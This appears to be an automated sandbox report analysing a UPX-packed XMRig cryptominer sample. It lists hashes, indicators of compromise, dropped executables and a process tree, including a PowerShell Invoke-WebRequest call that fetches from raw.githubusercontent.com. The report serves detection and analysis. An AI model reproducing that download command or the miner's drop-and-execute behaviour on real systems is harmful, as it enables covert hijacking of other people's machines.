xmrig | b84bb82dd9799a1e4ccb47a1fae4384e8a2f4a5e26c9ad9b1162e04adc5784de

Analysis

max time kernel
51s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
28-04-2024 19:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
Size

1.8MB
MD5

05de3385af2d2a019cfa5df19d45cd27
SHA1

e496ede413540f079267c8601fde3e2016529543
SHA256

b84bb82dd9799a1e4ccb47a1fae4384e8a2f4a5e26c9ad9b1162e04adc5784de
SHA512

acc3e524528bb6ec6067476eb09f654bc6a73277b0505eac8a2279258ec139e519d8980224d8ff79eb2f3307e474c70563d3f93691fb8d696fb170359f1e23c1
SSDEEP

49152:Lz071uv4BPMkibTIA5sf6r+WVc2HhG82SflDrl2:NABx

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral2/memory/3264-61-0x00007FF735000000-0x00007FF7353F2000-memory.dmp	xmrig
behavioral2/memory/1252-75-0x00007FF7FF4F0000-0x00007FF7FF8E2000-memory.dmp	xmrig
behavioral2/memory/3036-89-0x00007FF789AF0000-0x00007FF789EE2000-memory.dmp	xmrig
behavioral2/memory/1172-91-0x00007FF6210B0000-0x00007FF6214A2000-memory.dmp	xmrig
behavioral2/memory/2608-95-0x00007FF6AEC50000-0x00007FF6AF042000-memory.dmp	xmrig
behavioral2/memory/1196-96-0x00007FF631650000-0x00007FF631A42000-memory.dmp	xmrig
behavioral2/memory/3852-90-0x00007FF730120000-0x00007FF730512000-memory.dmp	xmrig
behavioral2/memory/4728-88-0x00007FF69ECD0000-0x00007FF69F0C2000-memory.dmp	xmrig
behavioral2/memory/4740-74-0x00007FF646B50000-0x00007FF646F42000-memory.dmp	xmrig
behavioral2/memory/2924-140-0x00007FF6914A0000-0x00007FF691892000-memory.dmp	xmrig
behavioral2/memory/4628-195-0x00007FF75A340000-0x00007FF75A732000-memory.dmp	xmrig
behavioral2/memory/1444-175-0x00007FF673DC0000-0x00007FF6741B2000-memory.dmp	xmrig
behavioral2/memory/816-151-0x00007FF72E720000-0x00007FF72EB12000-memory.dmp	xmrig
behavioral2/memory/4736-122-0x00007FF7EA280000-0x00007FF7EA672000-memory.dmp	xmrig
behavioral2/memory/1080-65-0x00007FF71B600000-0x00007FF71B9F2000-memory.dmp	xmrig
behavioral2/memory/3164-56-0x00007FF6488D0000-0x00007FF648CC2000-memory.dmp	xmrig
behavioral2/memory/1080-1954-0x00007FF71B600000-0x00007FF71B9F2000-memory.dmp	xmrig
behavioral2/memory/4728-2029-0x00007FF69ECD0000-0x00007FF69F0C2000-memory.dmp	xmrig
behavioral2/memory/2608-2041-0x00007FF6AEC50000-0x00007FF6AF042000-memory.dmp	xmrig
behavioral2/memory/1196-2085-0x00007FF631650000-0x00007FF631A42000-memory.dmp	xmrig
behavioral2/memory/4736-2214-0x00007FF7EA280000-0x00007FF7EA672000-memory.dmp	xmrig
behavioral2/memory/2928-2189-0x00007FF792F70000-0x00007FF793362000-memory.dmp	xmrig
behavioral2/memory/2256-2186-0x00007FF68D3A0000-0x00007FF68D792000-memory.dmp	xmrig
behavioral2/memory/1188-2218-0x00007FF65FA50000-0x00007FF65FE42000-memory.dmp	xmrig
behavioral2/memory/1444-2199-0x00007FF673DC0000-0x00007FF6741B2000-memory.dmp	xmrig
behavioral2/memory/3036-2082-0x00007FF789AF0000-0x00007FF789EE2000-memory.dmp	xmrig
behavioral2/memory/3852-2055-0x00007FF730120000-0x00007FF730512000-memory.dmp	xmrig
behavioral2/memory/4628-2326-0x00007FF75A340000-0x00007FF75A732000-memory.dmp	xmrig
behavioral2/memory/4396-2279-0x00007FF710A40000-0x00007FF710E32000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	1780	powershell.exe
9	1780	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
3164	HAMFUxc.exe
3264	Gelchnx.exe
1080	gMpBDYC.exe
4740	TgaXIpC.exe
1252	PFwGmXA.exe
4728	WfrfLrp.exe
3036	DUCbJWY.exe
2928	TWSRMJg.exe
3852	fJvnQZn.exe
2608	IOPHZpD.exe
1196	bvuCMxH.exe
1172	IFswheU.exe
1188	RkcrclG.exe
2256	JRSTFms.exe
4776	saQOpGO.exe
4736	qcvzNHd.exe
2924	dlJTGaW.exe
816	txEqrVy.exe
1444	caMbyfO.exe
4628	KiNZBZi.exe
4396	rUcXcqB.exe
3844	VcJtJIq.exe
4480	jfcGbJc.exe
4884	fylIVAc.exe
4252	OUKJYyF.exe
1232	JoMVNwI.exe
3208	yEJKSDK.exe
4148	HLZyZll.exe
3872	pNtAZJI.exe
3288	rDlhrxE.exe
4460	fsHkWnX.exe
376	EyiUdoq.exe
628	vcczcai.exe
4476	brqWoVv.exe
1860	cVuFzQb.exe
4844	cWIuRHY.exe
4364	GSwHQrm.exe
2848	rwbPull.exe
3200	tTMXzQg.exe
4636	awldndY.exe
4620	oXkxkzx.exe
2364	lFLCQbe.exe
4992	JZyJbli.exe
3752	FcSdktH.exe
4412	hmiQvCd.exe
4592	zFREbzv.exe
4208	JsgLkQD.exe
4940	tgrrcPA.exe
1360	BhOVAXX.exe
2200	njMZREn.exe
1668	aghShlm.exe
3856	hMcNzgo.exe
3816	rOqUMYe.exe
4348	ZkEykLH.exe
5124	lxLjlxw.exe
5140	pGgqXAo.exe
5164	HzoagDc.exe
5184	GAzCBqq.exe
5216	broPSYC.exe
5240	XPCPrpl.exe
5256	awuDbut.exe
5292	CBJlcZb.exe
5328	VKrmzZk.exe
5352	rDSnDjv.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2428-0-0x00007FF7A80C0000-0x00007FF7A84B2000-memory.dmp	upx
behavioral2/files/0x0008000000023257-6.dat	upx
behavioral2/files/0x000800000002325a-8.dat	upx
behavioral2/files/0x000800000002325d-7.dat	upx
behavioral2/files/0x000800000002325e-28.dat	upx
behavioral2/files/0x0007000000023261-36.dat	upx
behavioral2/files/0x000800000002325f-41.dat	upx
behavioral2/files/0x0007000000023262-53.dat	upx
behavioral2/files/0x000800000002325b-58.dat	upx
behavioral2/memory/3264-61-0x00007FF735000000-0x00007FF7353F2000-memory.dmp	upx
behavioral2/files/0x0007000000023263-60.dat	upx
behavioral2/files/0x0007000000023264-68.dat	upx
behavioral2/files/0x0007000000023266-76.dat	upx
behavioral2/memory/1252-75-0x00007FF7FF4F0000-0x00007FF7FF8E2000-memory.dmp	upx
behavioral2/memory/3036-89-0x00007FF789AF0000-0x00007FF789EE2000-memory.dmp	upx
behavioral2/memory/1172-91-0x00007FF6210B0000-0x00007FF6214A2000-memory.dmp	upx
behavioral2/memory/4776-93-0x00007FF6EE0F0000-0x00007FF6EE4E2000-memory.dmp	upx
behavioral2/memory/2608-95-0x00007FF6AEC50000-0x00007FF6AF042000-memory.dmp	upx
behavioral2/memory/1188-97-0x00007FF65FA50000-0x00007FF65FE42000-memory.dmp	upx
behavioral2/memory/1196-96-0x00007FF631650000-0x00007FF631A42000-memory.dmp	upx
behavioral2/memory/2928-94-0x00007FF792F70000-0x00007FF793362000-memory.dmp	upx
behavioral2/memory/2256-92-0x00007FF68D3A0000-0x00007FF68D792000-memory.dmp	upx
behavioral2/memory/3852-90-0x00007FF730120000-0x00007FF730512000-memory.dmp	upx
behavioral2/memory/4728-88-0x00007FF69ECD0000-0x00007FF69F0C2000-memory.dmp	upx
behavioral2/files/0x0007000000023268-87.dat	upx
behavioral2/files/0x0007000000023267-86.dat	upx
behavioral2/files/0x0007000000023265-84.dat	upx
behavioral2/memory/4740-74-0x00007FF646B50000-0x00007FF646F42000-memory.dmp	upx
behavioral2/files/0x000700000002326a-113.dat	upx
behavioral2/files/0x000700000002326b-121.dat	upx
behavioral2/files/0x000700000002326c-129.dat	upx
behavioral2/memory/2924-140-0x00007FF6914A0000-0x00007FF691892000-memory.dmp	upx
behavioral2/files/0x0007000000023274-178.dat	upx
behavioral2/files/0x0007000000023277-186.dat	upx
behavioral2/files/0x000700000002327f-202.dat	upx
behavioral2/files/0x000700000002327e-201.dat	upx
behavioral2/files/0x000700000002327d-200.dat	upx
behavioral2/files/0x000700000002327c-199.dat	upx
behavioral2/files/0x000700000002327b-196.dat	upx
behavioral2/memory/4628-195-0x00007FF75A340000-0x00007FF75A732000-memory.dmp	upx
behavioral2/files/0x000700000002327a-194.dat	upx
behavioral2/files/0x0007000000023279-193.dat	upx
behavioral2/files/0x0007000000023278-189.dat	upx
behavioral2/files/0x0007000000023276-183.dat	upx
behavioral2/memory/1444-175-0x00007FF673DC0000-0x00007FF6741B2000-memory.dmp	upx
behavioral2/files/0x0007000000023270-174.dat	upx
behavioral2/files/0x0007000000023273-168.dat	upx
behavioral2/files/0x0007000000023272-166.dat	upx
behavioral2/files/0x000700000002326f-163.dat	upx
behavioral2/memory/4396-156-0x00007FF710A40000-0x00007FF710E32000-memory.dmp	upx
behavioral2/files/0x000700000002326e-154.dat	upx
behavioral2/files/0x0007000000023271-157.dat	upx
behavioral2/memory/816-151-0x00007FF72E720000-0x00007FF72EB12000-memory.dmp	upx
behavioral2/files/0x000700000002326d-133.dat	upx
behavioral2/memory/4736-122-0x00007FF7EA280000-0x00007FF7EA672000-memory.dmp	upx
behavioral2/files/0x0007000000023269-108.dat	upx
behavioral2/memory/1080-65-0x00007FF71B600000-0x00007FF71B9F2000-memory.dmp	upx
behavioral2/memory/3164-56-0x00007FF6488D0000-0x00007FF648CC2000-memory.dmp	upx
behavioral2/files/0x0008000000023260-54.dat	upx
behavioral2/memory/1080-1954-0x00007FF71B600000-0x00007FF71B9F2000-memory.dmp	upx
behavioral2/memory/4728-2029-0x00007FF69ECD0000-0x00007FF69F0C2000-memory.dmp	upx
behavioral2/memory/2608-2041-0x00007FF6AEC50000-0x00007FF6AF042000-memory.dmp	upx
behavioral2/memory/1196-2085-0x00007FF631650000-0x00007FF631A42000-memory.dmp	upx
behavioral2/memory/4736-2214-0x00007FF7EA280000-0x00007FF7EA672000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
5	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\NlNHQQj.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\dSeMyqd.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\rwbPull.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\wppIitB.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\VxJTlhL.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\gyDMWXt.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\OMXCsAZ.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\hXxFQJo.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\abKJXoD.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\IqbWVQR.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\OVzLguw.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\AZnuTAk.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\TrrRhVY.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\DCYEhxI.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\jastCId.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\JbRoBts.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\LyKWgVH.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\nTklzPs.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\jwZDvzv.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\OBdPFHb.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\rpfuKgf.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\nYwFEHF.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\YVurGUO.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\mUfQjCy.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\GEDSpBM.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\RYGRmqH.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\avgUhRg.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\LfIxgtD.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\ZwDqlRM.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\svqluUK.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\MELFXxZ.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\PKGVEvY.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\NexDVCg.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\sDBWktk.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\pNtAZJI.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\kEqBafP.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\xyhQatu.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\JoOPISZ.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\bGCtety.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\qlfXQGi.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\AQnklIF.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\weoZqYq.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\JsgLkQD.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\CnBKzRs.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\AlkecDq.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\OkQQemI.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\IuNYAwx.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\lVYhMiq.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\MqsDJkG.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\YNzundm.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\VGkDXfv.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\NbHoEDD.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\OGkHrfy.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\GeQDZqS.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\vNfLfYa.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\liApQRy.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\CKRDHDg.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\MdmZwbT.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\kAZDcIV.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\kXyJVOf.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\shWSeTH.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\KEruhym.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\OQjXGWy.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
File created	C:\Windows\System\FDubuKD.exe	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1780	powershell.exe
1780	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
Token: SeDebugPrivilege	1780	powershell.exe
Token: SeLockMemoryPrivilege	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2428 wrote to memory of 1780	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	91
PID 2428 wrote to memory of 1780	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	91
PID 2428 wrote to memory of 3164	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	92
PID 2428 wrote to memory of 3164	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	92
PID 2428 wrote to memory of 3264	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	93
PID 2428 wrote to memory of 3264	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	93
PID 2428 wrote to memory of 1080	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	94
PID 2428 wrote to memory of 1080	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	94
PID 2428 wrote to memory of 4740	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	95
PID 2428 wrote to memory of 4740	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	95
PID 2428 wrote to memory of 1252	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	96
PID 2428 wrote to memory of 1252	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	96
PID 2428 wrote to memory of 4728	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	97
PID 2428 wrote to memory of 4728	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	97
PID 2428 wrote to memory of 3036	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	98
PID 2428 wrote to memory of 3036	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	98
PID 2428 wrote to memory of 2928	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	99
PID 2428 wrote to memory of 2928	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	99
PID 2428 wrote to memory of 3852	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	100
PID 2428 wrote to memory of 3852	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	100
PID 2428 wrote to memory of 2608	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	101
PID 2428 wrote to memory of 2608	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	101
PID 2428 wrote to memory of 1196	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	102
PID 2428 wrote to memory of 1196	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	102
PID 2428 wrote to memory of 1172	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	103
PID 2428 wrote to memory of 1172	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	103
PID 2428 wrote to memory of 1188	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	104
PID 2428 wrote to memory of 1188	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	104
PID 2428 wrote to memory of 2256	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	105
PID 2428 wrote to memory of 2256	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	105
PID 2428 wrote to memory of 4776	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	106
PID 2428 wrote to memory of 4776	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	106
PID 2428 wrote to memory of 4736	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	107
PID 2428 wrote to memory of 4736	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	107
PID 2428 wrote to memory of 2924	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	108
PID 2428 wrote to memory of 2924	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	108
PID 2428 wrote to memory of 816	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	109
PID 2428 wrote to memory of 816	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	109
PID 2428 wrote to memory of 1444	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	110
PID 2428 wrote to memory of 1444	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	110
PID 2428 wrote to memory of 4628	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	111
PID 2428 wrote to memory of 4628	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	111
PID 2428 wrote to memory of 4396	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	112
PID 2428 wrote to memory of 4396	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	112
PID 2428 wrote to memory of 4480	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	113
PID 2428 wrote to memory of 4480	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	113
PID 2428 wrote to memory of 1232	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	114
PID 2428 wrote to memory of 1232	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	114
PID 2428 wrote to memory of 3844	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	115
PID 2428 wrote to memory of 3844	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	115
PID 2428 wrote to memory of 4884	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	116
PID 2428 wrote to memory of 4884	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	116
PID 2428 wrote to memory of 4252	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	117
PID 2428 wrote to memory of 4252	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	117
PID 2428 wrote to memory of 3208	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	118
PID 2428 wrote to memory of 3208	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	118
PID 2428 wrote to memory of 4148	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	119
PID 2428 wrote to memory of 4148	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	119
PID 2428 wrote to memory of 3872	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	120
PID 2428 wrote to memory of 3872	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	120
PID 2428 wrote to memory of 3288	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	121
PID 2428 wrote to memory of 3288	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	121
PID 2428 wrote to memory of 4460	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	122
PID 2428 wrote to memory of 4460	2428	05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe	122

C:\Users\Admin\AppData\Local\Temp\05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\05de3385af2d2a019cfa5df19d45cd27_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2428
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1780
- C:\Windows\System\HAMFUxc.exe
  C:\Windows\System\HAMFUxc.exe
  2⤵
  - Executes dropped EXE
  PID:3164
- C:\Windows\System\Gelchnx.exe
  C:\Windows\System\Gelchnx.exe
  2⤵
  - Executes dropped EXE
  PID:3264
- C:\Windows\System\gMpBDYC.exe
  C:\Windows\System\gMpBDYC.exe
  2⤵
  - Executes dropped EXE
  PID:1080
- C:\Windows\System\TgaXIpC.exe
  C:\Windows\System\TgaXIpC.exe
  2⤵
  - Executes dropped EXE
  PID:4740
- C:\Windows\System\PFwGmXA.exe
  C:\Windows\System\PFwGmXA.exe
  2⤵
  - Executes dropped EXE
  PID:1252
- C:\Windows\System\WfrfLrp.exe
  C:\Windows\System\WfrfLrp.exe
  2⤵
  - Executes dropped EXE
  PID:4728
- C:\Windows\System\DUCbJWY.exe
  C:\Windows\System\DUCbJWY.exe
  2⤵
  - Executes dropped EXE
  PID:3036
- C:\Windows\System\TWSRMJg.exe
  C:\Windows\System\TWSRMJg.exe
  2⤵
  - Executes dropped EXE
  PID:2928
- C:\Windows\System\fJvnQZn.exe
  C:\Windows\System\fJvnQZn.exe
  2⤵
  - Executes dropped EXE
  PID:3852
- C:\Windows\System\IOPHZpD.exe
  C:\Windows\System\IOPHZpD.exe
  2⤵
  - Executes dropped EXE
  PID:2608
- C:\Windows\System\bvuCMxH.exe
  C:\Windows\System\bvuCMxH.exe
  2⤵
  - Executes dropped EXE
  PID:1196
- C:\Windows\System\IFswheU.exe
  C:\Windows\System\IFswheU.exe
  2⤵
  - Executes dropped EXE
  PID:1172
- C:\Windows\System\RkcrclG.exe
  C:\Windows\System\RkcrclG.exe
  2⤵
  - Executes dropped EXE
  PID:1188
- C:\Windows\System\JRSTFms.exe
  C:\Windows\System\JRSTFms.exe
  2⤵
  - Executes dropped EXE
  PID:2256
- C:\Windows\System\saQOpGO.exe
  C:\Windows\System\saQOpGO.exe
  2⤵
  - Executes dropped EXE
  PID:4776
- C:\Windows\System\qcvzNHd.exe
  C:\Windows\System\qcvzNHd.exe
  2⤵
  - Executes dropped EXE
  PID:4736
- C:\Windows\System\dlJTGaW.exe
  C:\Windows\System\dlJTGaW.exe
  2⤵
  - Executes dropped EXE
  PID:2924
- C:\Windows\System\txEqrVy.exe
  C:\Windows\System\txEqrVy.exe
  2⤵
  - Executes dropped EXE
  PID:816
- C:\Windows\System\caMbyfO.exe
  C:\Windows\System\caMbyfO.exe
  2⤵
  - Executes dropped EXE
  PID:1444
- C:\Windows\System\KiNZBZi.exe
  C:\Windows\System\KiNZBZi.exe
  2⤵
  - Executes dropped EXE
  PID:4628
- C:\Windows\System\rUcXcqB.exe
  C:\Windows\System\rUcXcqB.exe
  2⤵
  - Executes dropped EXE
  PID:4396
- C:\Windows\System\jfcGbJc.exe
  C:\Windows\System\jfcGbJc.exe
  2⤵
  - Executes dropped EXE
  PID:4480
- C:\Windows\System\JoMVNwI.exe
  C:\Windows\System\JoMVNwI.exe
  2⤵
  - Executes dropped EXE
  PID:1232
- C:\Windows\System\VcJtJIq.exe
  C:\Windows\System\VcJtJIq.exe
  2⤵
  - Executes dropped EXE
  PID:3844
- C:\Windows\System\fylIVAc.exe
  C:\Windows\System\fylIVAc.exe
  2⤵
  - Executes dropped EXE
  PID:4884
- C:\Windows\System\OUKJYyF.exe
  C:\Windows\System\OUKJYyF.exe
  2⤵
  - Executes dropped EXE
  PID:4252
- C:\Windows\System\yEJKSDK.exe
  C:\Windows\System\yEJKSDK.exe
  2⤵
  - Executes dropped EXE
  PID:3208
- C:\Windows\System\HLZyZll.exe
  C:\Windows\System\HLZyZll.exe
  2⤵
  - Executes dropped EXE
  PID:4148
- C:\Windows\System\pNtAZJI.exe
